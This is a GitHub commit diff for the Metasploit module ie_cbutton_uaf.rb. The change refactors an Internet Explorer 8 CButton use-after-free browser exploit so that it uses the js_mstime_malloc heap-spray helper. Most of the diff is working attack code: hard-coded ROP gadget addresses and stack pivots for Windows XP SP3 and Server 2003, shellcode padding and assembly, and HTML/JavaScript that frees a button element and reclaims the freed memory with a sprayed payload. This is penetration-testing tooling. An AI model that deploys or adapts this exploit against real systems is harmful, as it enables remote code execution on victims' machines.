Skip to content

Commit f57b2de

Browse files
author
jvazquez-r7
committed
Land rapid7#1787, @wchen-r7's mod to ie_cbutton_uaf to use the js_mstime_malloc API
2 parents fe57b9d + eb23b5f commit f57b2de

File tree

1 file changed

+40
-70
lines changed

1 file changed

+40
-70
lines changed

‎modules/exploits/windows/browser/ie_cbutton_uaf.rb

Lines changed: 40 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -120,60 +120,6 @@ def get_target(agent)
120120
return nil
121121
end
122122

123-
def ie8_smil(my_target, p)
124-
125-
case my_target['Rop']
126-
when :msvcrt
127-
case my_target.name
128-
when 'IE 8 on Windows XP SP3'
129-
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
130-
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
131-
when 'IE 8 on Windows Server 2003'
132-
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
133-
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
134-
end
135-
else
136-
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
137-
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
138-
end
139-
140-
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
141-
js_payload = Rex::Text.to_unescape(p)
142-
143-
js = %Q|
144-
unicorn = unescape("#{padding}");
145-
for (i=0; i < 3; i++) {
146-
unicorn += unescape("#{padding}");
147-
}
148-
149-
unicorn += unescape("#{js_payload}");
150-
151-
animvalues = unescape("#{align_esp}");
152-
153-
for (i=0; i < 0xDC/4; i++) {
154-
if (i == 0xDC/4-1) {
155-
animvalues += unescape("#{xchg_esp}");
156-
}
157-
else {
158-
animvalues += unescape("#{align_esp}");
159-
}
160-
}
161-
162-
animvalues += unicorn;
163-
164-
for(i = 0; i < 21; i++) {
165-
animvalues += ";cyan";
166-
}
167-
|
168-
169-
if datastore['OBFUSCATE']
170-
js = ::Rex::Exploitation::JSObfu.new(js)
171-
js.obfuscate
172-
end
173-
174-
return js
175-
end
176-
177123
def junk(n=4)
178124
return rand_text_alpha(n).unpack("V")[0].to_i
179125
end
@@ -286,45 +232,69 @@ def get_payload(t, cli)
286232

287233
def load_exploit_html(my_target, cli)
288234

289-
p = get_payload(my_target, cli)
290-
js = ie8_smil(my_target, p)
235+
case my_target['Rop']
236+
when :msvcrt
237+
case my_target.name
238+
when 'IE 8 on Windows XP SP3'
239+
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
240+
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
241+
when 'IE 8 on Windows Server 2003'
242+
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
243+
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
244+
end
245+
else
246+
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
247+
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
248+
end
291249

292-
html = %Q|
293-
<!doctype html>
250+
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
251+
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
252+
253+
html = %Q|<!doctype html>
294254
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
295255
<head>
296256
<meta>
297257
<?IMPORT namespace="t" implementation="#default#time2">
298258
</meta>
299259
300260
<script>
301-
function helloWorld()
302-
{
261+
#{js_mstime_malloc}
262+
263+
264+
function helloWorld() {
303265
e_form = document.getElementById("formelm");
304266
e_div = document.getElementById("divelm");
305267
306-
#{js}
307-
308268
for(i =0; i < 20; i++) {
309269
document.createElement('button');
310270
}
311-
e_div.appendChild(document.createElement('button'))
271+
e_div.appendChild(document.createElement('button'));
312272
e_div.firstChild.applyElement(e_form);
313273
314-
e_div.innerHTML = ""
274+
e_div.innerHTML = "";
315275
e_div.appendChild(document.createElement('body'));
316276
317-
CollectGarbage();
277+
CollectGarbage();
318278
319-
try {
320-
a = document.getElementById('myanim');
321-
a.values = animvalues;
279+
p = unescape("#{padding}");
280+
for (i=0; i < 3; i++) {
281+
p += unescape("#{padding}");
282+
}
283+
p += unescape("#{js_payload}");
284+
285+
fo = unescape("#{align_esp}");
286+
for (i=0; i < 55; i++) {
287+
if (i == 54) { fo += unescape("#{xchg_esp}"); }
288+
else { fo += unescape("#{align_esp}"); }
322289
}
323-
catch(e) {}
324-
}
325290
291+
fo += p;
292+
293+
mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
294+
}
326295
</script>
327296
</head>
297+
328298
<body onload="eval(helloWorld())">
329299
<t:ANIMATECOLOR id="myanim"/>
330300
<div id="divelm"></div>

0 commit comments

Comments
 (0)